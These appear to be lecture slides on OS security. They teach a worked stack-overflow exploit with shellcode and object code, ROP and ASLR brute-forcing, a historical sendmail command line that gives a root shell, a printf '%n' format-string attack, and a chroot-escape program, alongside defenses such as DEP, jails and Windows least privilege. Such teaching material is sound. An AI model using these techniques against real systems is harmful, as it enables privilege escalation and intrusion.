OS Security Part 2
int main( ) {
    char buf[80];
    gets(buf);
    puts(buf);
    return 0;
}

main:
  subq  $88, %rsp  # grow stack
  movq  %rsp, %rdi # setup arg
  call  gets
  movq  %rsp, %rdi # setup arg
  call  puts
  movl  $0, %eax   # set return value
  addq  $88, %rsp  # pop stack
  ret
Crafting the Exploit ...

- Code + padding
  - 96 bytes long
    - 88 bytes for buf
    - 8 bytes for return address
    - followed by the address of the beginning of the code
    - overwriting the return address

Code (in C):

```c
void exploit() {
    write(1, "hacked by twd\n", strlen("hacked by twd\n"));
    exit(0);
}
```
Assembler Code from gcc

```assembly
=file "exploit.c"
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "hacked by twd\n"
.text
.globl exploit
.type exploit, @function
exploit:
.LFB19:
    .cfi_startproc
    subq $8, %rsp
    .cfi_def_cfa_offset 16
    movl $14, %edx
    movl $.LC0, %esi
    movl $1, %edi
    call write
    movl $0, %edi
    call exit
    .cfi_endproc
.LFE19:
    .size exploit, .-exploit
    .ident "GCC: (Debian 4.7.2-5) 4.7.2"
    .section .note.GNU-stack,"",@progbits
```
Actual Addresses

- Previous frame
- Return address: 0xfffffffffe9a0
- Buf (88 bytes): 0xfffffffffe948
Exploit Attempt 1

```assembly
exploit:  # assume start address is 0x7fffffff948
    subq $8, %rsp        # needed for syscall instructions
    movl $14, %edx       # length of string
    movq $0x7fffffff973, %rsi   # address of output string
    movl $1, %edi        # write to standard output
    movl $1, %eax        # do a "write" system call
    syscall
    movl $0, %edi        # argument to exit is 0
    movl $60, %eax       # do an "exit" system call
    syscall
str:
    .string "hacked by twd\n"
    nop
    nop
    ...                # 29 no-ops
    nop
    .quad 0x7fffffff948
    .byte '\n'
```
Actual Object Code

Disassembly of section .text:

0000000000000000 <exploit>:
   0: 48 83 ec 08         sub $0x8,%rsp
   4: ba 0e 00 00 00      mov $0xe,%edx
   9: 48 be 73 e9 ff ff ff movabs $0x7fffffffe973,%rsi
  10: 7f 00 00           
  13: bf 01 00 00 00      mov $0x1,%edi
  18: b8 01 00 00 00      mov $0x1,%eax
  1d: 0f 05              syscall
  1f: bf 00 00 00 00      mov $0x0,%edi
  24: b8 3c 00 00 00      mov $0x3c,%eax
  29: 0f 05              syscall

0000000000000002b <str>:
  2b: 68 61 63 6b 65      pushq $0x656b6361
  30: 64 20 62 79         and %ah,%fs:0x79(%rdx)
  34: 20 74 77 64         and %dh,0x64(%rdi,%rsi,2)
  38: 0a 00              or (%rax),%al
  ...
Exploit Attempt 2

```
.text
exploit: # starts at 0x7fffffffe948
subq $8, %rsp
movb $9, %dl
addb $1, %dl
movq $0x7fffffffe990, %rsi
movb %dl, (%rsi)
movl $14, %edx
movq $0x7fffffffe984, %rsi
movl $1, %edi
movl $1, %eax
syscall
movl $0, %edi
movl $60, %eax
syscall
```

![append 0a to str]

```
str:
.string "hacked by twd"
nop
nop
... 13 no-ops
nop
.quad 0x7fffffffe948
.byte '\n'
```
Actual Object Code, part 1

Disassembly of section .text:

0000000000000000 <exploit>:

0:   48 83 ec 08             sub    $0x8,%rsp
4:   b2 09                   mov    $0x9,%dl
6:   80 c2 01                add    $0x1,%dl
9:   48 be 90 e9 ff ff ff    movabs $0x7fffffffe990,%rsi
10:  7f 00 00
13:  88 16                   mov    %dl,(%rsi)
15:  ba 0e 00 00 00          mov    $0xe,%edx
1a:  48 be 84 e9 ff ff ff    movabs $0x7fffffffe984,%rsi
21:  7f 00 00
24:  bf 01 00 00 00 00       mov    $0x1,%edi
29:  b8 01 00 00 00 00       mov    $0x1,%eax
2e:  0f 05                   syscall
30:  bf 00 00 00 00 00       mov    $0x0,%edi
35:  b8 3c 00 00 00 00       mov    $0x3c,%eax
3a:  0f 05                   syscall

...
Actual Object Code, part 2

000000000000003c <str>:

3c:   68 61 63 6b 65          pushq $0x656b6361
41:   64 20 62 79             and    %ah,%fs:0x79(%rdx)
45:   20 74 77 64             and    %dh,0x64(%rdi,%rsi,2)
49:   00 90 90 90 90 90 90     add    %dl,-0x6f6f6f70(%rax)
4f:   90                      nop
50:   90                      nop
51:   90                      nop
52:   90                      nop
53:   90                      nop
54:   90                      nop
55:   90                      nop
56:   90                      nop
57:   48 e9 ff ff ff 7f       jmpq   8000005c <str+0x80000020>
5d:   00 00                   add    %al,(%rax)
5f:   0a                      .byte 0xa
Defense

• Why should the stack contain executable code?
  – no reason whatsoever

• So, don’t allow it
  – mark stack *non-executable*
    - (how come no one thought of this earlier?)
    - (Intel didn’t support it till recently)

• Data execution prevention (DEP)
  – adopted by Windows and Linux in 2004
  – by Apple in 2006
Offense

- Return-oriented programming

stack

library code for puts

• Return-oriented programming
Defense

• Example assumes parameters passed on stack
  – 32-bit x86 convention
• Switch to x86-64
  – parameters passed in registers
  – example breaks
• Offense foiled?
Offense

```
d y e h
w d b a c k
```

return address

```
ret
mov 0(%rsp), %rdi
```

other library code

library code for puts
Defense

- Address space layout randomization (ASLR)
  - start sections at unpredictable locations
Offense

• One possibility
  – guess the start address
    - perhaps $1/2^{16}$ chance of getting it right
    - repeat attack a 100,000 times
      • won’t be noticed on busy web server
      • very likely it will (eventually) work
Programming Securely

• It’s hard!
• Some examples …
int GetFile(char *dirpath, char *name) {
    char FullyQualifiedName[1024];
    if (CheckName(dirpath) == BAD) {
        ...
    }
    strncpy(FullyQualifiedName, dirpath, 512);
    strncat(FullyQualifiedName, name, 512);
    return (open(FullyQualifiedName, O_RDWR));
}

GetFile("\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Defense

• It’s not enough to avoid buffer overflow …
• Check for truncation!
Carelessness

```c
char buf[100];
int len;

read(fd, &len, sizeof(len));

if (len > 100) {
    fprintf(stderr, "bad length\n");
    exit(1);
}

read(fd, buf, len);
```
A Real-Life Exploit …

- `sendmail -d6,50`
  - means: set flag 6 to value 50
  - debug option, so why check for min and max?
    - (shouldn’t have been turned on for production version …)
    - (but it was …)

- `sendmail -d4294967269,117 -d4294967270,110 -d4294967271,113` changed `etc` to `tmp`
  - `/etc/sendmail.cf` identifies file containing mailer program, which is executed as root
  - `/tmp/sendmail.cf` supplied by attacker
    - identifies `/bin/sh` as mailer program
    - attacker gets root shell
What You Don’t Know …

```c
int TrustedServer(int argc, char *argv[]) {
    ...
    printf(argv[1]);
    ...
}
```

```
% TrustedServer "wxyz%n"
```

**from the printf man page:**

```plaintext
%n   The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.
```
Principle of Least Privilege

• Perhaps:
  – run process with a minimal security context
    - special account, etc.
  – send it the capabilities it needs
chroot (before)
chroot (after)

unix  etc  home  pro  dev

root

twd

passwd  shadow

root

e tc

passwd  shadow

unix  etc  home  pro  dev

root

twd

passwd  shadow

unix  etc  home  pro  dev

root

twd

passwd  shadow
Secure chroot?

- Implementation
  - “..” = “.” at process’s root
    - can’t cd to parent

- Secure?
  - leakproof?
No ...

```c
chdir("/");
pfd = open(".", O_RDONLY);
mkdir("Houdini", 0700);
chroot("Houdini");
fchdir(pfd);
for (i=0; i<100; i++)
    chdir("..");
chroot(".");
```
Fixed in BSD

- jail
  - can’t `cd` above root
  - all necessary files for standard environment present below root
  - `ps` doesn’t see processes in other jails
Back to Windows

• Security history
  – DOS and early Windows
    - no concept of logging in
    - no authorization
    - all programs could do everything
  – later Windows
    - good authentication
    - good authorization with ACLs
    - default ACLs are important
      • few understand how ACLs work …
    - most users run with admin privileges
      • all programs can do everything …
Privileges in Windows

• Properties of accounts
  – administrator ≈ superuser
  – finer breakdown for service applications

• User account control (starting with Vista)
  – accounts with administrator privileges have two access tokens
    - one for normal usage
    - another with elevated rights
Least Privilege

• Easy answer
  – disable privileges
  – works only if the process has any ...

• Another answer
  – restricting SIDs
    - two passes over ACL for access check
      • first: as previously specified
      • second: using only restricting SIDs
Least Privilege for Servers

• Pre-Vista:
  – services ran in local system account
    - all possible privileges
    - successful attackers “owned” system
    - too complicated to give special account to each service

• Vista and beyond
  – services still run in system account
  – per-service SIDs created
    - used in DACLs to indicate what service needs
    - marked restricting in service token
Example

Critical System File

Printer

allow administrators write
...

Print service

allow administrators write
allow print-service write
...

administrator SID
restricting print-service SID
Least Privilege for Clients

• Pre Vista
  – no

• Vista and 7
  – windows integrity mechanism
    - a form of MAC
Print Server

- Client sends request to server
  - print contents of file X
- Server acts on request
  - does client have read permission?
    - server may have (on its own) read access, but client does not
    - server might not have read access, but client does
Unix Solution

• Client execs print-server, passing it file name
  – set-uid-root program
  – it (without races!) checks that client has access to file, then prints it
Windows Solution

• Server process started when system is booted

• Clients send it print requests
  – how does client prove to server it has access?
  – how does server prove to OS that client has said ok?
Impersonation

• Client sends server *impersonation token*
  – subset of its access token

• Server temporarily uses it in place of its own access token
Limitation of Both Approaches

• Client must trust server
  – it has full access to everything client owns!
• Is the example realistic?
  – no
  – but …
    - password-changing program works this way
    - other examples?